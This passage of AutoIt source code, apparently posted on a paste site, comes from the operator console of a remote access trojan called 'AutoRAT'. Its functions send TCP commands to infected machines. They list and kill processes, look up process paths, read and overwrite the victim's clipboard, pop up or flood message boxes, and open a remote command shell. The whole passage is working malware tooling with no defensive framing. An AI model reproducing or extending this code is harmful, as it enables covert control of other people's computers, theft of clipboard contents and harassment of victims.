  1190.                     if $test = "" Then
  1191.                     ContinueLoop
  1192.                     Else
  1193.                     ExitLoop
  1194.                     EndIf
  1195.                     WEnd
  1196.                     $processarray = StringSplit ($test, "//", 1)
  1197.  
  1198.                     Global $procs[UBound($processarray)]
  1199.                     Global $pids[UBound($processarray)]
  1200.  
  1201.                     For $k = 0 to $processarray[0]
  1202.                     $procs[$k] = StringLeft($processarray[$k],StringInStr($processarray[$k],"\\")-1)
  1203.                     $pids[$k] = StringTrimLeft($processarray[$k],StringInStr($processarray[$k],"\\")+1)
  1204.                     Next
  1205.  
  1206.                     $procs[0] = UBound($procs)
  1207.                     $pids[0] = UBound ($pids)
  1208.  
  1209.                     for $i = 1 to $procs[0] - 2
  1210.                     $aktuellerindex = _GUICtrlListView_AddItem ($processlistviewhandle,$procs[$i])
  1211.                     _GUICtrlListView_SetItem ($processlistviewhandle, $pids[$i], $aktuellerindex, 1)
  1212.                     Next
  1213.  
  1214.                     _GUICtrlStatusBar_SetText ($processstatusbar, "Processes succsessfully loaded.")
  1215. EndFunc
  1216.  
  1217. Func _closeproces()
  1218. $pos55 = StringInStr (WinGetTitle($nMsg[1]), "SOCKET:")
  1219. $socket = StringTrimLeft (WinGetTitle($nMsg[1]),$pos55+6)
  1220. $processlistviewhandle = ControlGetHandle (WinGetTitle($nMsg[1]), "", "[CLASS:SysListView32; INSTANCE:1]")
  1221. $processstatusbar = ControlGetHandle (WinGetTitle($nMsg[1]), "", "[CLASS:msctls_statusbar32; INSTANCE:1]")
  1222.     If _GUICtrlListView_GetSelectedCount($processlistviewhandle) = 0 Then
  1223.         Return 0
  1224.     EndIf
  1225. $dummy = _GUICtrlListView_GetSelectedIndices($processlistviewhandle, true)
  1226. TCPSend ($socket, "CLOSEPROCESS="&_GUICtrlListView_GetItemText($processlistviewhandle, $dummy[1]))
  1227. _GUICtrlStatusBar_SetText ($processstatusbar, "Processes "&_GUICtrlListView_GetItemText($processlistviewhandle, $dummy[1])&" succsessfully closed.")
  1228. _refreshprocess ()
  1229. EndFunc
  1230.  
  1231. Func _getprocesspath()
  1232.                 $pos55 = StringInStr (WinGetTitle($nMsg[1]), "SOCKET:")
  1233.                 $socket = StringTrimLeft (WinGetTitle($nMsg[1]),$pos55+6)
  1234.                 $processlistviewhandle = ControlGetHandle (WinGetTitle($nMsg[1]), "", "[CLASS:SysListView32; INSTANCE:1]")
  1235.                 $processstatusbar = ControlGetHandle (WinGetTitle($nMsg[1]), "", "[CLASS:msctls_statusbar32; INSTANCE:1]")
  1236.                 If _GUICtrlListView_GetSelectedCount($processlistviewhandle) = 0 Then
  1237.                 Return 0
  1238.                 EndIf
  1239.                 $dummy = _GUICtrlListView_GetSelectedIndices($processlistviewhandle, true)
  1240.                 _GUICtrlStatusBar_SetText ($processstatusbar, "Please wait...")
  1241.                     TCPSend ($socket, "GETPROCESSPATH="&_GUICtrlListView_GetItemText($processlistviewhandle,$dummy[1]))
  1242.                     while 1
  1243.                     $test = TCPRecv ($socket, 1024)
  1244.                     if @error then
  1245.                     ExitLoop
  1246.                     GUIDelete ($nMsg[1])
  1247.                     EndIf
  1248.                     if $test = "" Then
  1249.                     ContinueLoop
  1250.                     Else
  1251.                     ExitLoop
  1252.                     EndIf
  1253.                 WEnd
  1254.                 if $test = -1 Then
  1255.                 $test = "Process not found"
  1256.                 EndIf
  1257.                 _GUICtrlListView_SetItemText ($processlistviewhandle, $dummy[1], $test, 2)
  1258.                 _GUICtrlStatusBar_SetText ($processstatusbar, "Processpath succsessfully received.")
  1259. EndFunc
  1260.  
  1261. Func _makepclipboardgui ()
  1262.         $dummy = _GUICtrlListView_GetSelectedIndices ($ListView1, true)
  1263.         if WinExists ("Clipboard "&_GUICtrlListView_GetItemText($ListView1,$dummy[1])&"  SOCKET:"&_guictrllistview_getitemtext($ListView1,$dummy[1],4)) = 1 Then
  1264.             Return 0
  1265.         EndIf
  1266.  
  1267. $clipboardwindow = GUICreate("Clipboard "&_GUICtrlListView_GetItemText($ListView1,$dummy[1])&"  SOCKET:"&_guictrllistview_getitemtext($ListView1,$dummy[1],4), 525, 266, -1, -1, BitOR($WS_MINIMIZEBOX,$WS_SIZEBOX,$WS_THICKFRAME,$WS_SYSMENU,$WS_CAPTION,$WS_POPUP,$WS_POPUPWINDOW,$WS_GROUP,$WS_BORDER,$WS_CLIPSIBLINGS))
  1268. GUISetCursor (0)
  1269. $Clipedit = GUICtrlCreateEdit("", 8, 8, 297, 233, BitOR($ES_NOHIDESEL,$ES_WANTRETURN,$WS_HSCROLL,$WS_VSCROLL,$WS_BORDER), BitOR($WS_EX_CLIENTEDGE,$WS_EX_STATICEDGE))
  1270. GUICtrlSetData(-1, "")
  1271. GUICtrlSetFont(-1, 10, 400, 0, "Courier New")
  1272. GUICtrlSetColor(-1, 0x008000)
  1273. GUICtrlSetBkColor(-1, 0x000000)
  1274. GUICtrlSetCursor (-1, 0)
  1275. $StatusBarclipboard = _GUICtrlStatusBar_Create($clipboardwindow)
  1276. $Group1 = GUICtrlCreateGroup("Options", 320, 8, 193, 233)
  1277. $Cliplistoptions = GUICtrlCreateList("Get Clipboard Text", 352, 56, 129, 32)
  1278. GUICtrlSetData (-1, "Set Clipboard Text")
  1279. GUICtrlSetCursor (-1, 0)
  1280. $clipapply[$cc] = GUICtrlCreateButton("Receive/Send", 336, 200, 163, 25, $WS_GROUP)
  1281. GUICtrlSetCursor (-1, 0)
  1282. $cliplistbytes = GUICtrlCreateList("512 Bytes", 352, 128, 129, 58, $WS_BORDER)
  1283. GUICtrlSetData(-1, "1024 Bytes|2048 Bytes|4096 Bytes")
  1284. GUICtrlSetCursor (-1, 0)
  1285. $Label1 = GUICtrlCreateLabel("Bytes to receive and send:", 336, 104, 156, 17, $SS_CENTER)
  1286. GUICtrlSetFont(-1, 8, 800, 4, "MS Sans Serif")
  1287. $Label2 = GUICtrlCreateLabel("Set or get Clipboard:", 336, 32, 157, 17, $SS_CENTER)
  1288. GUICtrlSetFont(-1, 8, 800, 4, "MS Sans Serif")
  1289. GUICtrlCreateGroup("", -99, -99, 1, 1)
  1290. GUISetState(@SW_SHOW)
  1291.  
  1292. EndFunc
  1293.  
  1294. Func _receivesend ()
  1295. $pos55 = StringInStr (WinGetTitle($nMsg[1]), "SOCKET:")
  1296. $socket =StringTrimLeft (WinGetTitle($nMsg[1]),$pos55+6)
  1297.  
  1298. _GUICtrlStatusBar_SetText (ControlGetHandle (WinGetTitle($nMsg[1]),"", "[CLASS:msctls_statusbar32; INSTANCE:1]"), "Please wait...")
  1299.  
  1300.  
  1301. if _GUICtrlListBox_GetCurSel(ControlGetHandle (WinGetTitle($nMsg[1]),"", "[CLASS:ListBox; INSTANCE:1]")) = 0 Then
  1302.  
  1303. if _GUICtrlListBox_GetCurSel(ControlGetHandle (WinGetTitle($nMsg[1]),"", "[CLASS:ListBox; INSTANCE:2]")) = 0 Then $bytes = 512
  1304. if _GUICtrlListBox_GetCurSel(ControlGetHandle (WinGetTitle($nMsg[1]),"", "[CLASS:ListBox; INSTANCE:2]")) = 1 Then $bytes = 1024
  1305. if _GUICtrlListBox_GetCurSel(ControlGetHandle (WinGetTitle($nMsg[1]),"", "[CLASS:ListBox; INSTANCE:2]")) = 2 Then $bytes = 2048
  1306. if _GUICtrlListBox_GetCurSel(ControlGetHandle (WinGetTitle($nMsg[1]),"", "[CLASS:ListBox; INSTANCE:2]")) = 3 Then $bytes = 4096
  1307.  
  1308.     for $i = 1 to 10
  1309.     TCPSend ($socket, "GETCLIPBOARD")
  1310.     if @error Then
  1311.     GUIDelete ($nMsg[1])
  1312.     ExitLoop 2
  1313.     EndIf
  1314.     $test = TCPRecv ($socket, $bytes)
  1315.     sleep (1000)
  1316.     if $test = "" then ContinueLoop
  1317.     if $test <> "" Then ExitLoop
  1318.     Next
  1319.     $test = StringTrimLeft ($test, 10)
  1320.     ControlSetText (WinGetTitle($nMsg[1]), "", "[CLASS:Edit; INSTANCE:1]", $test)
  1321.     _GUICtrlStatusBar_SetText (ControlGetHandle (WinGetTitle($nMsg[1]),"", "[CLASS:msctls_statusbar32; INSTANCE:1]"), "Clipboard succsessfully received.")
  1322.     Return 0
  1323.  
  1324.  
  1325. Else
  1326.  
  1327. if _GUICtrlListBox_GetCurSel(ControlGetHandle (WinGetTitle($nMsg[1]),"", "[CLASS:ListBox; INSTANCE:2]")) = 0 Then $bytes = 512
  1328. if _GUICtrlListBox_GetCurSel(ControlGetHandle (WinGetTitle($nMsg[1]),"", "[CLASS:ListBox; INSTANCE:2]")) = 1 Then $bytes = 1024
  1329. if _GUICtrlListBox_GetCurSel(ControlGetHandle (WinGetTitle($nMsg[1]),"", "[CLASS:ListBox; INSTANCE:2]")) = 2 Then $bytes = 2048
  1330. if _GUICtrlListBox_GetCurSel(ControlGetHandle (WinGetTitle($nMsg[1]),"", "[CLASS:ListBox; INSTANCE:2]")) = 3 Then $bytes = 4096
  1331.  
  1332. TCPSend ($socket, "SETBYTES="&$bytes)
  1333. sleep (1000)
  1334.     if @error Then
  1335.     GUIDelete ($nMsg[1])
  1336.     Return 0
  1337. EndIf
  1338. TCPSend ($socket, "SETCLIPBOARD="&ControlGetText (WinGetTitle($nMsg[1]), "", "[CLASS:Edit; INSTANCE:1]"))
  1339. Sleep (1000)
  1340.     if @error then
  1341.     GUIDelete ($nMsg[1])
  1342.     Return 0
  1343.     EndIf
  1344.  
  1345. EndIf
  1346.  
  1347. _GUICtrlStatusBar_SetText (ControlGetHandle (WinGetTitle($nMsg[1]),"", "[CLASS:msctls_statusbar32; INSTANCE:1]"), "Clipboard succsessfully set.")
  1348. Return 0
  1349.  
  1350. EndFunc
  1351.  
  1352. Func _makemsgui ()
  1353.     $dummy = _GUICtrlListView_GetSelectedIndices ($ListView1, true)
  1354.     if WinExists ("Message "&_GUICtrlListView_GetItemText($ListView1,$dummy[1])&"  SOCKET:"&_guictrllistview_getitemtext($ListView1,$dummy[1],4)) = 1 Then
  1355.     Return 0
  1356.     EndIf
  1357. $msgform = GUICreate("Message "&_GUICtrlListView_GetItemText($ListView1,$dummy[1])&"  SOCKET:"&_guictrllistview_getitemtext($ListView1,$dummy[1],4), 485, 428, -1, -1)
  1358. GUISetCursor (0)
  1359. GUISetBkColor(0xC0C0C0)
  1360. $Group1 = GUICtrlCreateGroup("Icon Settings", 8, 8, 169, 385)
  1361. $Icon3 = GUICtrlCreateIcon(@TempDir&"\AutoRAT\Stop.ico", -1, 24, 40, 50, 50, BitOR($SS_NOTIFY,$WS_GROUP))
  1362. $Icon4 = GUICtrlCreateIcon(@TempDir&"\AutoRAT\Info.ico", -1, 24, 256, 50, 50, BitOR($SS_NOTIFY,$WS_GROUP))
  1363. $Icon1 = GUICtrlCreateIcon(@TempDir&"\AutoRAT\Questionmark.ico", -1, 24, 112, 50, 50, BitOR($SS_NOTIFY,$WS_GROUP))
  1364. $Icon2 = GUICtrlCreateIcon(@TempDir&"\AutoRAT\Warning.ico", -1, 24, 184, 50, 50, BitOR($SS_NOTIFY,$WS_GROUP))
  1365. $Icon5 = GUICtrlCreateIcon("", -1, 24, 328, 50, 50, BitOR($SS_NOTIFY,$WS_GROUP))
  1366. $errorradio = GUICtrlCreateRadio("Error", 88, 56, 73, 17)
  1367. GUICtrlSetCursor (-1, 0)
  1368. $questionradio = GUICtrlCreateRadio("Question", 88, 128, 73, 17)
  1369. GUICtrlSetCursor (-1, 0)
  1370. $exclamationradio = GUICtrlCreateRadio("Exclamation", 88, 200, 81, 17)
  1371. GUICtrlSetCursor (-1, 0)
  1372. $inforadio = GUICtrlCreateRadio("Info", 88, 272, 73, 17)
  1373. GUICtrlSetCursor (-1, 0)
  1374. $noneradio = GUICtrlCreateRadio("None", 88, 344, 65, 17)
  1375. GUICtrlSetCursor (-1, 0)
  1376. GUICtrlCreateGroup("", -99, -99, 1, 1)
  1377. $msgstatusbar = _GUICtrlStatusBar_Create($msgform)
  1378. $Group2 = GUICtrlCreateGroup("Message Settings", 192, 8, 281, 385)
  1379. $Label1 = GUICtrlCreateLabel("Message Title: ", 208, 50, 76, 17)
  1380. GUICtrlSetFont(-1, 8, 400, 4, "MS Sans Serif")
  1381. $msgtitle = GUICtrlCreateInput("Hello", 304, 48, 145, 21)
  1382. GUICtrlSetCursor (-1, 0)
  1383. $Label2 = GUICtrlCreateLabel("Message Text: ", 208, 88, 77, 17)
  1384. GUICtrlSetFont(-1, 8, 400, 4, "MS Sans Serif")
  1385. $msgtext = GUICtrlCreateEdit("", 208, 112, 241, 153)
  1386. GUICtrlSetData(-1, "AutoRat ROCKS")
  1387. GUICtrlSetCursor (-1, 0)
  1388. $Cmsgflood = GUICtrlCreateCheckbox("Flood Messageboxes", 208, 282, 121, 17)
  1389. GUICtrlSetCursor (-1, 0)
  1390. $msgcombo = GUICtrlCreateCombo("5", 336, 280, 113, 25)
  1391. GUICtrlSetData ($msgcombo, "10|15|20|25|30|35|40|45|50|55|60|65|70|75|80|85|90|95|100")
  1392. GUICtrlSetCursor (-1, 0)
  1393. $msgtest[$pp] = GUICtrlCreateButton("Test Message", 208, 328, 99, 41, $WS_GROUP)
  1394. GUICtrlSetCursor (-1, 0)
  1395. $msgsend[$tt] = GUICtrlCreateButton("Send Message", 352, 328, 99, 41, $WS_GROUP)
  1396. GUICtrlSetCursor (-1, 0)
  1397. GUICtrlCreateGroup("", -99, -99, 1, 1)
  1398. GUISetState(@SW_SHOW)
  1399. _GUICtrlStatusBar_SetText ($msgstatusbar, "Msgbox Manager loaded.")
  1400. EndFunc
  1401.  
  1402. ;~ Func _makeremoteshellgui ()
  1403. ;~ $posremsock = StringInStr (WinGetTitle($nMsg[1]), "SOCKET:")
  1404. ;~ $socket = StringTrimLeft (WinGetTitle($nMsg[1]),$posremsock+6)
  1405. ;~ $remotebefehl="calc.exe"
  1406. ;~ $string = ("REMOTE="&$remotebefehl)
  1407. ;~ TCPSend ($socket, $string)
  1408. ;~ EndFunc
  1409.  
  1410. Func _testmsg ()
  1411. $icon = 0
  1412. if _GUICtrlButton_GetCheck(ControlGetHandle (WinGetTitle($nMsg[1]), "", "[CLASS:Button; INSTANCE:2]")) = 1 then $icon = 16
  1413. if _GUICtrlButton_GetCheck(ControlGetHandle (WinGetTitle($nMsg[1]), "", "[CLASS:Button; INSTANCE:3]")) = 1 then $icon = 32
  1414. if _GUICtrlButton_GetCheck(ControlGetHandle (WinGetTitle($nMsg[1]), "", "[CLASS:Button; INSTANCE:4]")) = 1 then $icon = 48
  1415. if _GUICtrlButton_GetCheck(ControlGetHandle (WinGetTitle($nMsg[1]), "", "[CLASS:Button; INSTANCE:5]")) = 1 then $icon = 64
  1416. if _GUICtrlButton_GetCheck(ControlGetHandle (WinGetTitle($nMsg[1]), "", "[CLASS:Button; INSTANCE:6]")) = 1 then $icon = 0
  1417. $msgboxtitle = ControlGetText (WinGetTitle($nMsg[1]), "", "[CLASS:Edit; INSTANCE:1]")
  1418. $msgboxtext = ControlGetText (WinGetTitle($nMsg[1]), "", "[CLASS:Edit; INSTANCE:2]")
  1419. MsgBox ($icon, $msgboxtitle, $msgboxtext)
  1420.  
  1421.  
  1422.  
  1423.  
  1424. EndFunc
  1425.  
  1426.  
  1427.  
  1428. Func _msgsend ()
  1429. $pos55 = StringInStr (WinGetTitle($nMsg[1]), "SOCKET:")
  1430. $socket = StringTrimLeft (WinGetTitle($nMsg[1]),$pos55+6)
  1431. $icon = 0
  1432. if _GUICtrlButton_GetCheck(ControlGetHandle (WinGetTitle($nMsg[1]), "", "[CLASS:Button; INSTANCE:2]")) = 1 then $icon = 16
  1433. if _GUICtrlButton_GetCheck(ControlGetHandle (WinGetTitle($nMsg[1]), "", "[CLASS:Button; INSTANCE:3]")) = 1 then $icon = 32
  1434. if _GUICtrlButton_GetCheck(ControlGetHandle (WinGetTitle($nMsg[1]), "", "[CLASS:Button; INSTANCE:4]")) = 1 then $icon = 48
  1435. if _GUICtrlButton_GetCheck(ControlGetHandle (WinGetTitle($nMsg[1]), "", "[CLASS:Button; INSTANCE:5]")) = 1 then $icon = 64
  1436. if _GUICtrlButton_GetCheck(ControlGetHandle (WinGetTitle($nMsg[1]), "", "[CLASS:Button; INSTANCE:6]")) = 1 then $icon = 0
  1437.  
  1438.  
  1439. $msgboxtitle = ControlGetText (WinGetTitle($nMsg[1]), "", "[CLASS:Edit; INSTANCE:1]")
  1440. $msgboxtext = ControlGetText (WinGetTitle($nMsg[1]), "", "[CLASS:Edit; INSTANCE:2]")
  1441.  
  1442. Local $anzahl=1
  1443. Local $flood=0
  1444. if _GUICtrlButton_GetState (ControlGetHandle (WinGetTitle($nMsg[1]), "", "[CLASS:Button; INSTANCE:9]")) = 1 Then $flood = 1
  1445.     if $flood = 1 Then
  1446.         $anzahl = ControlGetText(WinGetTitle($nMsg[1]), "", "[CLASS:Edit; INSTANCE:3]")
  1447.         $anzahl = Int($anzahl)
  1448.         if $anzahl = 0 Then $anzahl = 1
  1449.         else
  1450.         $flood = 0
  1451. EndIf
  1452.  
  1453.  
  1454.  
  1455. ;~ $string = "\\MSGBOXTITLE="&$msgboxtitle&"\\MSGBOXTEXT="&$msgboxtext&"\\ICON="&$icon&"\\FLOOD="&$flood&"\\ANZAHL="&$anzahl
  1456.  
  1457. $string = "MSGBOX="&@CRLF&$msgboxtitle&@CRLF&$msgboxtext&@CRLF&$icon&@CRLF&$flood&@CRLF&$anzahl
  1458. ;~ ClipPut ($string2)
  1459.  
  1460.  
  1461. TCPSend ($socket, $string)
  1462. _GUICtrlStatusBar_SetText (ControlGetHandle (WinGetTitle($nMsg[1]), "", "[CLASS:msctls_statusbar32; INSTANCE:1]"), "Message sent.")
  1463.  
  1464. EndFunc
  1465.  
  1466. Func _makeremoteshellgui ()
  1467.     $dummy = _GUICtrlListView_GetSelectedIndices ($ListView1, true)
  1468.     if WinExists ("Remote-Shell "&_GUICtrlListView_GetItemText($ListView1,$dummy[1])&"  SOCKET:"&_guictrllistview_getitemtext($ListView1,$dummy[1],4)) = 1 Then
  1469.     Return 0
  1470. EndIf
  1471.  
  1472. GUICreate("Remote-Shell "&_GUICtrlListView_GetItemText($ListView1,$dummy[1])&"  SOCKET:"&_guictrllistview_getitemtext($ListView1,$dummy[1],4),600,300)
  1473.  
  1474. $cmdedit = GUICtrlCreateEdit("Please wait..."&@CRLF&@CRLF&"--> CMD is loading...",-1,-1,602,280,$ES_READONLY + $WS_VSCROLL)
  1475. GUICtrlSetBkColor (-1, 0x000000)
  1476. GUICtrlSetColor (-1, 0x00ff00)
  1477. $cmdinput[$cmdvar] = GUICtrlCreateInput("",-1,278,-1,-1, BitOR($ES_AUTOHSCROLL,$ES_WANTRETURN))
  1478.  
  1479. GUICtrlSetBkColor (-1, 0x000000)
  1480. GUICtrlSetColor (-1, 0x00ff00)
  1481. GUICtrlSetFont(-1,11.5,600)
  1482. ControlFocus("","",-1)
  1483. GUISetState(@SW_SHOW)
  1484. $socket = _guictrllistview_getitemtext($ListView1,$dummy[1],4)
  1485. TCPSend ($socket, "GETCMD")
  1486.  
  1487. while 1
  1488.     $getcmd = TCPRecv ($socket, 1024)
  1489.     if StringLeft ($getcmd, 4) <> "CMD=" then
  1490.         ContinueLoop
  1491.     Elseif $getcmd = "CMDFAIL" Then
  1492.             GUIDelete ("Remote-Shell "&_GUICtrlListView_GetItemText($ListView1,$dummy[1])&"  SOCKET:"&_guictrllistview_getitemtext($ListView1,$dummy[1],4))
  1493.             Return 0
  1494.     Else
  1495.         ExitLoop
  1496.     EndIf
  1497. WEnd
  1498. $getcmd = StringTrimLeft ($getcmd, 4)
  1499. GUICtrlSetData ($cmdedit, $getcmd)
  1500. _GUICtrlEdit_Scroll($cmdedit, $SB_SCROLLCARET)
  1501. EndFunc
  1502.  
  1503. Func _remoteshell()
  1504.  
  1505. EndFunc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement